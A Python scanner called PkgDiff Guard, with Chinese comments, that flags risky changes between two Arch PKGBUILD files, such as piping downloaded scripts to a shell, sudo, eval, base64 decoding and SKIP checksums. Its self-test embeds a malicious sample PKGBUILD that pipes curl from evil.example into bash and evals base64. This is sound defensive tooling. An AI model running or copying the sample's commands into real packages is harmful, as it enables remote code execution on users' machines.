🛠 MVP 仓库

#!/usr/bin/env python3
"""PkgDiff Guard: review risk introduced between two local PKGBUILD files."""

from __future__ import annotations

import argparse
from collections import Counter
import difflib
import json
import os
import re
import shlex
import sys
import urllib.error
import urllib.request
from dataclasses import asdict, dataclass
from pathlib import Path
from typing import Iterable, Optional


URL_RE = re.compile(r"https?://[^\s'\"<>]+", re.IGNORECASE)
CHECKSUM_NAME_RE = re.compile(r"^(?:sha(?:1|224|256|384|512)|md5|b2)sums(?:_[a-z0-9_]+)?$", re.I)
INSTALL_PATH_RE = re.compile(
    r"/(?:etc|opt|var|bin|sbin|usr/(?:bin|sbin|lib|lib64|share))(?:/[^\s;|&)]+)?"
)
SEVERITY_ORDER = {"info": 0, "low": 1, "medium": 2, "high": 3, "critical": 4}
SEVERITY_WEIGHT = {"info": 0, "low": 5, "medium": 15, "high": 30, "critical": 45}


@dataclass(frozen=True)
class Finding:
    rule: str
    severity: str
    line: int
    title: str
    evidence: str
    advice: str


def print_usage() -> None:
    """打印保持简短的使用说明。"""
    print("PkgDiff Guard - 审查两个本地 PKGBUILD 之间新增的风险")
    print("用法: python 39_mvp.py OLD_PKGBUILD NEW_PKGBUILD [--json] [--explain]")
    print("示例: python 39_mvp.py ./PKGBUILD.old ./PKGBUILD.new")
    print("CI:   python 39_mvp.py old new --json --fail-on high")
    print("自测: python 39_mvp.py --self-test")


def bash_tokens(line: str) -> list[str]:
    """用 shlex 做轻量 Bash 标记，并忽略未被引号包围的注释。"""
    try:
        lexer = shlex.shlex(line, posix=True, punctuation_chars="|&;()<>")
        lexer.whitespace_split = True
        lexer.commenters = "#"
        return list(lexer)
    except ValueError:
        # 未闭合引号也应能被扫描，不能让审查器因恶意输入退出。
        return line.split("#", 1)[0].split()


def added_line_numbers(old_lines: list[str], new_lines: list[str]) -> set[int]:
    """返回新文件中由新增或替换产生的 1-based 行号。"""
    matcher = difflib.SequenceMatcher(a=old_lines, b=new_lines, autojunk=False)
    result: set[int] = set()
    for tag, _i1, _i2, j1, j2 in matcher.get_opcodes():
        if tag in {"insert", "replace"}:
            result.update(range(j1 + 1, j2 + 1))
    return result


def _command_names(tokens: Iterable[str]) -> set[str]:
    return {Path(token).name.lower() for token in tokens if token and not token.startswith("-")}


def _pipe_execution(tokens: list[str], commands: set[str]) -> bool:
    downloaders = {"curl", "wget"}
    interpreters = {"sh", "bash", "zsh", "dash", "fish", "python", "python3", "perl", "ruby"}
    for index, token in enumerate(tokens):
        if "|" not in token:
            continue
        left = _command_names(tokens[:index])
        right = _command_names(tokens[index + 1 :])
        if left & downloaders and right & interpreters:
            return True
    return bool(commands & downloaders and re.search(
        r"\|\s*(?:/\S*/)?(?:ba|z|da)?sh\b", " ".join(tokens), re.I
    ))


def _checksum_context(lines: list[str]) -> dict[int, str]:
    """识别单行及多行校验数组中的 SKIP。"""
    active_name: Optional[str] = None
    skip_lines: dict[int, str] = {}
    for number, line in enumerate(lines, 1):
        tokens = bash_tokens(line)
        clean = " ".join(tokens)
        assignment = re.search(r"\b([A-Za-z_][A-Za-z0-9_]*)\s*=\s*\(", clean)
        if assignment and CHECKSUM_NAME_RE.match(assignment.group(1)):
            active_name = assignment.group(1)
        if active_name and re.search(r"(?:^|[\s(])SKIP(?:$|[\s)])", clean, re.I):
            skip_lines[number] = active_name
        if active_name and ")" in tokens:
            active_name = None
    return skip_lines


def scan(old_text: str, new_text: str) -> dict:
    """扫描新版本的新增行，生成稳定、可序列化的风险报告。"""
    old_lines = old_text.splitlines()
    new_lines = new_text.splitlines()
    added = added_line_numbers(old_lines, new_lines)
    normalize_url = lambda value: value.rstrip("),];}")
    old_urls = {normalize_url(value) for value in URL_RE.findall(old_text)}
    old_skips = Counter(_checksum_context(old_lines).values())
    new_skips = _checksum_context(new_lines)
    new_skip_counts = Counter(new_skips.values())
    findings: list[Finding] = []

    for number in sorted(added):
        raw = new_lines[number - 1]
        tokens = bash_tokens(raw)
        if not tokens:
            continue
        clean = " ".join(tokens)
        commands = _command_names(tokens)
        evidence = raw.strip()[:240]

        for url in URL_RE.findall(clean):
            normalized_url = normalize_url(url)
            if normalized_url not in old_urls:
                findings.append(Finding(
                    "new-network-url", "medium", number, "新增网络地址",
                    normalized_url, "核对域名、协议、下载内容及其固定校验值。",
                ))

        if _pipe_execution(tokens, commands):
            findings.append(Finding(
                "download-pipe-exec", "critical", number, "下载内容被管道执行",
                evidence, "不要直接执行网络响应；先下载、固定版本并校验后再运行。",
            ))

        if "sudo" in commands:
            findings.append(Finding(
                "sudo", "high", number, "构建脚本新增 sudo",
                evidence, "PKGBUILD 不应在构建阶段提权；确认并移除该命令。",
            ))

        if "eval" in commands or re.search(r"(^|[;&|()]\s*)eval(?:\s|$)", clean):
            findings.append(Finding(
                "eval", "high", number, "新增动态命令执行 eval",
                evidence, "展开并人工检查实际命令，优先改成显式参数调用。",
            ))

        # shlex 会把引号中的命令替换保留为一个 token，因此同时扫描 token 内部。
        if "base64" in commands or re.search(r"(?:^|[\s;|($])(?:/[^\s;|()]*/)?base64(?:\s|$)", clean, re.I):
            severity = "high" if any(x in clean for x in ("-d", "--decode", "|")) else "medium"
            findings.append(Finding(
                "base64", severity, number, "新增 base64 处理",
                evidence, "解码内容并检查是否隐藏了命令、凭据或可执行载荷。",
            ))

        install_commands = commands & {"install", "cp", "mv", "ln"}
        paths = sorted(set(INSTALL_PATH_RE.findall(clean)))
        if install_commands and paths:
            findings.append(Finding(
                "install-destination", "low", number, "新增安装目录",
                ", ".join(paths), "确认路径位于 $pkgdir 内，且文件清单符合包的职责。",
            ))

        checksum_name = new_skips.get(number)
        if checksum_name and new_skip_counts[checksum_name] > old_skips[checksum_name]:
            findings.append(Finding(
                "checksum-skip", "high", number, "新增校验跳过",
                f"{checksum_name}: {evidence}", "为每个源码提供可信校验值，不要使用 SKIP。",
            ))

    # 同一行同一规则只保留一次，避免复合正则造成噪声。
    unique = {(item.rule, item.line, item.evidence): item for item in findings}
    ordered = sorted(
        unique.values(), key=lambda item: (-SEVERITY_ORDER[item.severity], item.line, item.rule)
    )
    score = min(100, sum(SEVERITY_WEIGHT[item.severity] for item in ordered))
    highest = max((item.severity for item in ordered), key=SEVERITY_ORDER.get, default="info")
    return {
        "tool": "PkgDiff Guard",
        "summary": {
            "changed_lines": len(added),
            "findings": len(ordered),
            "risk_score": score,
            "highest_severity": highest,
            "verdict": "review-required" if SEVERITY_ORDER[highest] >= 2 else "pass-with-notes",
        },
        "findings": [asdict(item) for item in ordered],
    }


def llm_explanation(report: dict) -> str:
    """可选调用 OpenAI 兼容接口；失败时返回可读信息而非抛异常。"""
    api_key = os.getenv("OPENAI_API_KEY") or os.getenv("PKGDIFF_LLM_API_KEY")
    endpoint = os.getenv("PKGDIFF_LLM_URL", "https://api.openai.com/v1/chat/completions")
    model = os.getenv("PKGDIFF_LLM_MODEL", "gpt-4.1-mini")
    if not api_key:
        return "未调用 LLM：请设置 OPENAI_API_KEY 或 PKGDIFF_LLM_API_KEY。"
    payload = {
        "model": model,
        "temperature": 0.1,
        "messages": [
            {"role": "system", "content": "你是 Arch Linux PKGBUILD 安全审查员。只根据报告，用中文给出简短风险解释和核查顺序，不声称代码一定恶意。"},
            {"role": "user", "content": json.dumps(report, ensure_ascii=False)},
        ],
    }
    headers = {"Authorization": f"Bearer {api_key}", "Content-Type": "application/json"}
    try:
        try:
            import requests  # type: ignore

            response = requests.post(endpoint, headers=headers, json=payload, timeout=20)
            response.raise_for_status()
            data = response.json()
        except ImportError:
            request = urllib.request.Request(
                endpoint, data=json.dumps(payload).encode("utf-8"), headers=headers, method="POST"
            )
            with urllib.request.urlopen(request, timeout=20) as response:
                data = json.loads(response.read().decode("utf-8"))
        return data["choices"][0]["message"]["content"].strip()
    except (KeyError, IndexError, TypeError, ValueError, OSError, urllib.error.URLError) as exc:
        return f"LLM 解释不可用：{exc}"
    except Exception as exc:  # requests 的异常类型在未安装时无法静态引用
        return f"LLM 解释不可用：{exc}"


def terminal_report(report: dict, old_path: str, new_path: str) -> str:
    summary = report["summary"]
    lines = [
        "PkgDiff Guard 审查结果",
        f"对比: {old_path} -> {new_path}",
        f"风险: {summary['highest_severity'].upper()}  分数: {summary['risk_score']}/100  "
        f"发现: {summary['findings']}  变更行: {summary['changed_lines']}",
    ]
    if not report["findings"]:
        lines.append("未命中规则。注意：这不等于 PKGBUILD 已被证明安全。")
    for item in report["findings"]:
        lines.extend([
            "",
            f"[{item['severity'].upper()}] L{item['line']} {item['title']} ({item['rule']})",
            f"  证据: {item['evidence']}",
            f"  建议: {item['advice']}",
        ])
    return "\n".join(lines)


def run_self_test() -> int:
    """用正常更新和恶意样例执行无网络回归测试。"""
    old = """pkgver=1.0\nsource=('https://example.org/app-1.0.tar.gz')\nsha256sums=('abc')\npackage() { install -Dm755 app \"$pkgdir/usr/bin/app\"; }\n"""
    malicious = """pkgver=1.1\nsource=('https://evil.example/payload')\nsha256sums=(\n  'SKIP'\n)\nprepare() { curl -fsSL https://evil.example/run.sh | bash; }\npackage() { sudo sh -c 'echo owned'; eval \"$(echo ZWNobyBoaQ== | base64 -d)\"; install -Dm755 app \"$pkgdir/etc/cron.d/app\"; }\n"""
    normal = """pkgver=1.1\nsource=('https://example.org/app-1.1.tar.gz')\nsha256sums=('def')\npackage() { install -Dm755 app \"$pkgdir/usr/bin/app\"; }\n"""
    checks = []
    bad_report = scan(old, malicious)
    rules = {item["rule"] for item in bad_report["findings"]}
    checks.append(("恶意规则召回", {"download-pipe-exec", "sudo", "eval", "base64", "checksum-skip"} <= rules))
    checks.append(("新增 URL", "new-network-url" in rules))
    checks.append(("安装目录", "install-destination" in rules))
    normal_report = scan(old, normal)
    normal_rules = {item["rule"] for item in normal_report["findings"]}
    checks.append(("正常更新无高危", not any(
        SEVERITY_ORDER[item["severity"]] >= SEVERITY_ORDER["high"]
        for item in normal_report["findings"]
    )))
    checks.append(("正常 URL 仍提示核查", "new-network-url" in normal_rules))
    for name, passed in checks:
        print(f"{'PASS' if passed else 'FAIL'}: {name}")
    passed_count = sum(passed for _, passed in checks)
    print(f"自测结果: {passed_count}/{len(checks)} 通过")
    return 0 if passed_count == len(checks) else 1


def build_parser() -> argparse.ArgumentParser:
    parser = argparse.ArgumentParser(add_help=False)
    parser.add_argument("old", nargs="?")
    parser.add_argument("new", nargs="?")
    parser.add_argument("--json", action="store_true", dest="as_json")
    parser.add_argument("--explain", action="store_true")
    parser.add_argument("--self-test", action="store_true")
    parser.add_argument("--fail-on", choices=("low", "medium", "high", "critical"))
    parser.add_argument("-h", "--help", action="store_true")
    return parser


def main(argv: Optional[list[str]] = None) -> int:
    args = build_parser().parse_args(argv)
    if args.help or (not args.old and not args.new and not args.self_test):
        print_usage()
        return 0
    if args.self_test:
        return run_self_test()
    if not args.old or not args.new:
        print("错误: 必须同时提供旧、新两个 PKGBUILD 文件。", file=sys.stderr)
        print_usage()
        return 2

    old_path, new_path = Path(args.old), Path(args.new)
    try:
        old_text = old_path.read_text(encoding="utf-8", errors="replace")
        new_text = new_path.read_text(encoding="utf-8", errors="replace")
    except OSError as exc:
        print(f"无法读取文件: {exc}", file=sys.stderr)
        return 2

    report = scan(old_text, new_text)
    report["files"] = {"old": str(old_path), "new": str(new_path)}
    if args.explain:
        report["llm_explanation"] = llm_explanation(report)
    if args.as_json:
        print(json.dumps(report, ensure_ascii=False, indent=2))
    else:
        print(terminal_report(report, str(old_path), str(new_path)))
        if args.explain:
            print(f"\nLLM 解释:\n{report['llm_explanation']}")

    if args.fail_on:
        highest = report["summary"]["highest_severity"]
        if SEVERITY_ORDER[highest] >= SEVERITY_ORDER[args.fail_on]:
            return 1
    return 0


if __name__ == "__main__":
    raise SystemExit(main())